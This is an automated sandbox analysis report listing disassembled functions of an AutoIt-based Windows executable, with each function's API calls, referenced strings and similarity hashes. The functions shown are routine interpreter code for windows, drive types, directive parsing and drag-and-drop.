GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 004A76B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004A76BF
DeleteDC.GDI32(00000000), ref: 004A76C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004A76F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 004A770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 004A7746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 004A775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 004A776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 004A779B
GetStockObject.GDI32(00000011), ref: 004A77A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 004A77B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 004A77BB

Strings

AutoIt v3, xrefs: 004A762B
msctls_progress32, xrefs: 004A773C
static, xrefs: 004A767D, 004A7795
DISPLAY, xrefs: 004A7688

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: abbb5aa052789cf38cba546dd165cff6e28e9b1a7aeaf1a914b50994832d095c
Instruction ID: a9b32efbb8d84d1adf237f4a4397c730cc2acf76f9f61c4fff17d1d67b21ad56
Opcode Fuzzy Hash: abbb5aa052789cf38cba546dd165cff6e28e9b1a7aeaf1a914b50994832d095c
Instruction Fuzzy Hash: 76A17371A00605BFEB14DBA8DC4AFAF7B69EB09714F114265FA14A72E0C674AD10CF68

Function 0049AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0049AD1E
GetDriveTypeW.KERNEL32(?,004BFAC0,?,\\.\,004BF910), ref: 0049ADFB
SetErrorMode.KERNEL32(00000000,004BFAC0,?,\\.\,004BF910), ref: 0049AF59

Strings

Unknown, xrefs: 0049AE1B, 0049AEBF
SATA, xrefs: 0049AF0C
MMC, xrefs: 0049AF1A
SSD, xrefs: 0049AE86
Fixed, xrefs: 0049AE43
SSA, xrefs: 0049AEE2
Removable, xrefs: 0049AE4D
1394, xrefs: 0049AEDB
RAMDisk, xrefs: 0049AE25
ATAPI, xrefs: 0049AECD
\\.\, xrefs: 0049AD70
Fibre, xrefs: 0049AEE9
USB, xrefs: 0049AEF0
RAID, xrefs: 0049AEF7
SCSI, xrefs: 0049AEC6
ATA, xrefs: 0049AED4
FileBackedVirtual, xrefs: 0049AF28
iSCSI, xrefs: 0049AEFE
PhysicalDrive, xrefs: 0049ADA7
Network, xrefs: 0049AE39
CDROM, xrefs: 0049AE2F
Virtual, xrefs: 0049AF21
SAS, xrefs: 0049AF05

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 2a612b507905c0d604a238fd284f892f130157e80018aebee418c59a64baba5f
Instruction ID: 2d4c8738eabbb27ead5b1bb68ed8b33ec2be632e8a59cbcf6c04d11ee773b161
Opcode Fuzzy Hash: 2a612b507905c0d604a238fd284f892f130157e80018aebee418c59a64baba5f
Instruction Fuzzy Hash: 2151B4B06441059B8F10DB11C942DBE7BA1EB48709B30417FF80AA7694DA7DAD22DB8F

Function 004368DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00436931
__wcsnicmp.LIBCMT ref: 00436949
__wcsnicmp.LIBCMT ref: 00436961
__wcsnicmp.LIBCMT ref: 00436979
__wcsnicmp.LIBCMT ref: 00436991
__wcsnicmp.LIBCMT ref: 004369A9
__wcsnicmp.LIBCMT ref: 004369C1
__wcsnicmp.LIBCMT ref: 004369D5
__wcsnicmp.LIBCMT ref: 00436A16
__wcsnicmp.LIBCMT ref: 00436A2A
__wcsnicmp.LIBCMT ref: 00436A3E
__wcsnicmp.LIBCMT ref: 00436A52

Strings

Cannot parse #include, xrefs: 0046E3F0
#OnAutoItStartRegister, xrefs: 00436973
#ce, xrefs: 00436A4C
Unterminated group of comments, xrefs: 0046E403
#include, xrefs: 004369A3
#comments-end, xrefs: 00436A38
#pragma compile, xrefs: 0043692B
#cs, xrefs: 004369CF, 00436A24
#notrayicon, xrefs: 00436943
#requireadmin, xrefs: 0043695B
#comments-start, xrefs: 004369BB, 00436A10
Bad directive syntax error, xrefs: 0046E31A
#include-once, xrefs: 0043698B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 122a88f8a6f96f21aaae48215cd7d99f25a4247e869de03fca5b911895c4cd32
Instruction ID: 271ea1fbd57a96a91c6bd982e6ea5f843a8e7eb4efd9c11468fa0507a5e1a075
Opcode Fuzzy Hash: 122a88f8a6f96f21aaae48215cd7d99f25a4247e869de03fca5b911895c4cd32
Instruction Fuzzy Hash: 84810CB46002067ACF10AF62DC43FAF37A8AF09745F14902BFD056B292EB6DD945C66D

Function 004B9A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 004B9AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004B9B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 004B9BA7

Strings

0, xrefs: 004B9BE4

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: ba20d1aa00bf13c266d35604fc3d3ef9ccf220ffb065fd011d32879bd180d7fc
Instruction ID: a55902f07b5eb8a11621bb23b8f8a8d61baaebbcef74c89d174f2ecae72b8bbc
Opcode Fuzzy Hash: ba20d1aa00bf13c266d35604fc3d3ef9ccf220ffb065fd011d32879bd180d7fc
Instruction Fuzzy Hash: 2202AD30104201ABD725CF24C849BEBBBE5FF49314F04862EFA99963A1C778DD55CB6A

Function 004BA8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 004BA903
SetTextColor.GDI32(?,?), ref: 004BA907
GetSysColorBrush.USER32(0000000F), ref: 004BA91D
GetSysColor.USER32(0000000F), ref: 004BA928
CreateSolidBrush.GDI32(?), ref: 004BA92D
GetSysColor.USER32(00000011), ref: 004BA945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 004BA953
SelectObject.GDI32(?,00000000), ref: 004BA964
SetBkColor.GDI32(?,00000000), ref: 004BA96D
SelectObject.GDI32(?,?), ref: 004BA97A
InflateRect.USER32(?,000000FF,000000FF), ref: 004BA999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004BA9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 004BA9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 004BA9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 004BAA14
InflateRect.USER32(?,000000FD,000000FD), ref: 004BAA32
DrawFocusRect.USER32(?,?), ref: 004BAA3D
GetSysColor.USER32(00000011), ref: 004BAA4B
SetTextColor.GDI32(?,00000000), ref: 004BAA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004BAA67
SelectObject.GDI32(?,004BA5FA), ref: 004BAA7E
DeleteObject.GDI32(?), ref: 004BAA89
SelectObject.GDI32(?,?), ref: 004BAA8F
DeleteObject.GDI32(?), ref: 004BAA94
SetTextColor.GDI32(?,?), ref: 004BAA9A
SetBkColor.GDI32(?,?), ref: 004BAAA4

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 16761ad7a0f20b827dd8f738f3b03078ff92bfb445c586b7aa3655471fcf271c
Instruction ID: d43c3baa796381f7886760aa9eda615cf9d3b29bf43846211d731146408bb412
Opcode Fuzzy Hash: 16761ad7a0f20b827dd8f738f3b03078ff92bfb445c586b7aa3655471fcf271c
Instruction Fuzzy Hash: 83513B71900208FFDF109FA8DC48EEE7BB9EB08320F114626F915AB2A1D7759954DFA4

Function 004B89D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 004B8AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004B8AD2
CharNextW.USER32(0000014E), ref: 004B8B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 004B8B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 004B8B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004B8B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 004B8B86
SetWindowTextW.USER32(?,0000014E), ref: 004B8BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 004B8BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 004B8C1F
_memset.LIBCMT ref: 004B8C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 004B8C8D
_memset.LIBCMT ref: 004B8CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 004B8D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 004B8D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 004B8E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 004B8E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 004B8E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 004B8EB4
DrawMenuBar.USER32(?), ref: 004B8EC3
SetWindowTextW.USER32(?,0000014E), ref: 004B8EEB

Strings

0, xrefs: 004B8E55

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 5da6fab308d23ffb1096eb7b6c37fb782aba5dc3ef0fb3bae4b0454bf510b8d5
Instruction ID: 23d7fdc5e285c6afd07a961b29afc5a6fd05d39e59d57e9652904b062814a4bf
Opcode Fuzzy Hash: 5da6fab308d23ffb1096eb7b6c37fb782aba5dc3ef0fb3bae4b0454bf510b8d5
Instruction Fuzzy Hash: A6E19270900208ABDF209F65CC84EEF7B7DEF09710F10815BFA15AA291DB789985DF69

Function 004B488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004B49CA
GetDesktopWindow.USER32 ref: 004B49DF
GetWindowRect.USER32(00000000), ref: 004B49E6
GetWindowLongW.USER32(?,000000F0), ref: 004B4A48
DestroyWindow.USER32(?), ref: 004B4A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 004B4A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004B4ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 004B4AE1
SendMessageW.USER32(?,00000421,?,?), ref: 004B4AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004B4B09
IsWindowVisible.USER32(?), ref: 004B4B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 004B4B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 004B4B58
GetWindowRect.USER32(?,?), ref: 004B4B70
MonitorFromPoint.USER32(?,?,00000002), ref: 004B4B96
GetMonitorInfoW.USER32(00000000,?), ref: 004B4BB0
CopyRect.USER32(?,?), ref: 004B4BC7
SendMessageW.USER32(?,00000412,00000000), ref: 004B4C32

Strings

(, xrefs: 004B4BA3
tooltips_class32, xrefs: 004B4A96
0, xrefs: 004B4975

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 303280a4eb93fc09dbaa22a0c33e1c23ad95869dc3d9c0dc457ad9f3200cb728
Instruction ID: f9360dae1ad0de899de88b421a9a3c9e5d919ddb6dce7d9d00b9f58ba266f128
Opcode Fuzzy Hash: 303280a4eb93fc09dbaa22a0c33e1c23ad95869dc3d9c0dc457ad9f3200cb728
Instruction Fuzzy Hash: 03B17E71604340AFDB04DF65C884B9BBBE4BF88714F008A1EF9999B292D775EC05CB69

Function 0049449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 004944AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 004944D2
_wcscpy.LIBCMT ref: 00494500
_wcscmp.LIBCMT ref: 0049450B
_wcscat.LIBCMT ref: 00494521
_wcsstr.LIBCMT ref: 0049452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00494548
_wcscat.LIBCMT ref: 00494591
_wcscat.LIBCMT ref: 00494598
_wcsncpy.LIBCMT ref: 004945C3

Strings

%u.%u.%u.%u, xrefs: 00494626
04090000, xrefs: 0049457E
DefaultLangCodepage, xrefs: 004945AB
StringFileInfo\, xrefs: 0049451B
\VarFileInfo\Translation, xrefs: 00494540

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 643ab4b75bf11da73397c69c30b3eaea8810e31a86f092cd954ed973d0ac93a1
Instruction ID: 47dcc92a03768fed43477dabcb6cf82c3255cb2820327f8a8ec02472e7d01941
Opcode Fuzzy Hash: 643ab4b75bf11da73397c69c30b3eaea8810e31a86f092cd954ed973d0ac93a1
Instruction Fuzzy Hash: 3641F8715002007BDB10AA75CC07EBF7B6CDF86715F10006FFD08A6183EA7C9A0A86AD

Function 004327D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 004328BC
GetSystemMetrics.USER32(00000007), ref: 004328C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 004328EF
GetSystemMetrics.USER32(00000008), ref: 004328F7
GetSystemMetrics.USER32(00000004), ref: 0043291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00432939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00432949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0043297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00432990
GetClientRect.USER32(00000000,000000FF), ref: 004329AE
GetStockObject.GDI32(00000011), ref: 004329CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 004329D5

Part of subcall function 00432344: GetCursorPos.USER32(?), ref: 00432357
Part of subcall function 00432344: ScreenToClient.USER32(004F57B0,?), ref: 00432374
Part of subcall function 00432344: GetAsyncKeyState.USER32(00000001), ref: 00432399
Part of subcall function 00432344: GetAsyncKeyState.USER32(00000002), ref: 004323A7

SetTimer.USER32(00000000,00000000,00000028,00431256), ref: 004329FC

Strings

AutoIt v3 GUI, xrefs: 00432974

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: ba1863de7012d3f676423803fa6413344796acf7870f3e7c162353cbe3011c74
Instruction ID: 139a87d1f6620010c9d41582e0cfa1340ecca3fbf89163c7321fc33a5ada33fe
Opcode Fuzzy Hash: ba1863de7012d3f676423803fa6413344796acf7870f3e7c162353cbe3011c74
Instruction Fuzzy Hash: 66B15271600209EFDB14EFA8DD45BEE7BB4FB08315F10422AFA1597290DB78A851CF59

Function 0048A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0048A47A
__swprintf.LIBCMT ref: 0048A51B
_wcscmp.LIBCMT ref: 0048A52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0048A583
_wcscmp.LIBCMT ref: 0048A5BF
GetClassNameW.USER32(?,?,00000400), ref: 0048A5F6
GetDlgCtrlID.USER32(?), ref: 0048A648
GetWindowRect.USER32(?,?), ref: 0048A67E
GetParent.USER32(?), ref: 0048A69C
ScreenToClient.USER32(00000000), ref: 0048A6A3
GetClassNameW.USER32(?,?,00000100), ref: 0048A71D
_wcscmp.LIBCMT ref: 0048A731
GetWindowTextW.USER32(?,?,00000400), ref: 0048A757
_wcscmp.LIBCMT ref: 0048A76B

Part of subcall function 0045362C: _iswctype.LIBCMT ref: 00453634

Strings

%s%u, xrefs: 0048A515

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 40454b99208e98746a6839c4c4fe215f3be82169db178303dd3e9a3f207b9e2b
Instruction ID: a64362e5e4a5330be5c07ca594f51a39d195a4847090429a361c3b9d9b6f32c5
Opcode Fuzzy Hash: 40454b99208e98746a6839c4c4fe215f3be82169db178303dd3e9a3f207b9e2b
Instruction Fuzzy Hash: 7EA1D431204206AFE714EF64C884BAFB7E8FF44345F00492BF999D2150D778E965CB9A

Function 0048AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0048AF18
_wcscmp.LIBCMT ref: 0048AF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 0048AF51
CharUpperBuffW.USER32(?,00000000), ref: 0048AF6E
_wcscmp.LIBCMT ref: 0048AF8C
_wcsstr.LIBCMT ref: 0048AF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 0048AFD5
_wcscmp.LIBCMT ref: 0048AFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 0048B00C
GetClassNameW.USER32(00000018,?,00000400), ref: 0048B055
_wcscmp.LIBCMT ref: 0048B065
GetClassNameW.USER32(00000010,?,00000400), ref: 0048B08D
GetWindowRect.USER32(00000004,?), ref: 0048B0F6

Strings

@, xrefs: 0048AEF9
ThumbnailClass, xrefs: 0048AFE0, 0048B060

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: c590f5ff23737a5459203e41aea92f1bd88a7162374850cd9de9ce6a106fee1a
Instruction ID: 479b7c4ae9b000dd46d838348d72eaf7357b356d35a8f8533c4cc8a1a3f2d95c
Opcode Fuzzy Hash: c590f5ff23737a5459203e41aea92f1bd88a7162374850cd9de9ce6a106fee1a
Instruction Fuzzy Hash: 0A81B0710082059FDB01EF15C885BAF7BD8EF44358F04896BFE858A196DB38DD49CBA9

Function 004BC5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

DragQueryPoint.SHELL32(?,?), ref: 004BC627

Part of subcall function 004BAB37: ClientToScreen.USER32(?,?), ref: 004BAB60
Part of subcall function 004BAB37: GetWindowRect.USER32(?,?), ref: 004BABD6
Part of subcall function 004BAB37: PtInRect.USER32(?,?,004BC014), ref: 004BABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 004BC690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 004BC69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 004BC6BE
_wcscat.LIBCMT ref: 004BC6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 004BC705
SendMessageW.USER32(?,000000B0,?,?), ref: 004BC71E
SendMessageW.USER32(?,000000B1,?,?), ref: 004BC735
SendMessageW.USER32(?,000000B1,?,?), ref: 004BC757
DragFinish.SHELL32(?), ref: 004BC75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 004BC851

Strings

@GUI_DRAGFILE, xrefs: 004BC800
pbO, xrefs: 004BC79B
@GUI_DRAGID, xrefs: 004BC7C9
@GUI_DROPID, xrefs: 004BC77E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
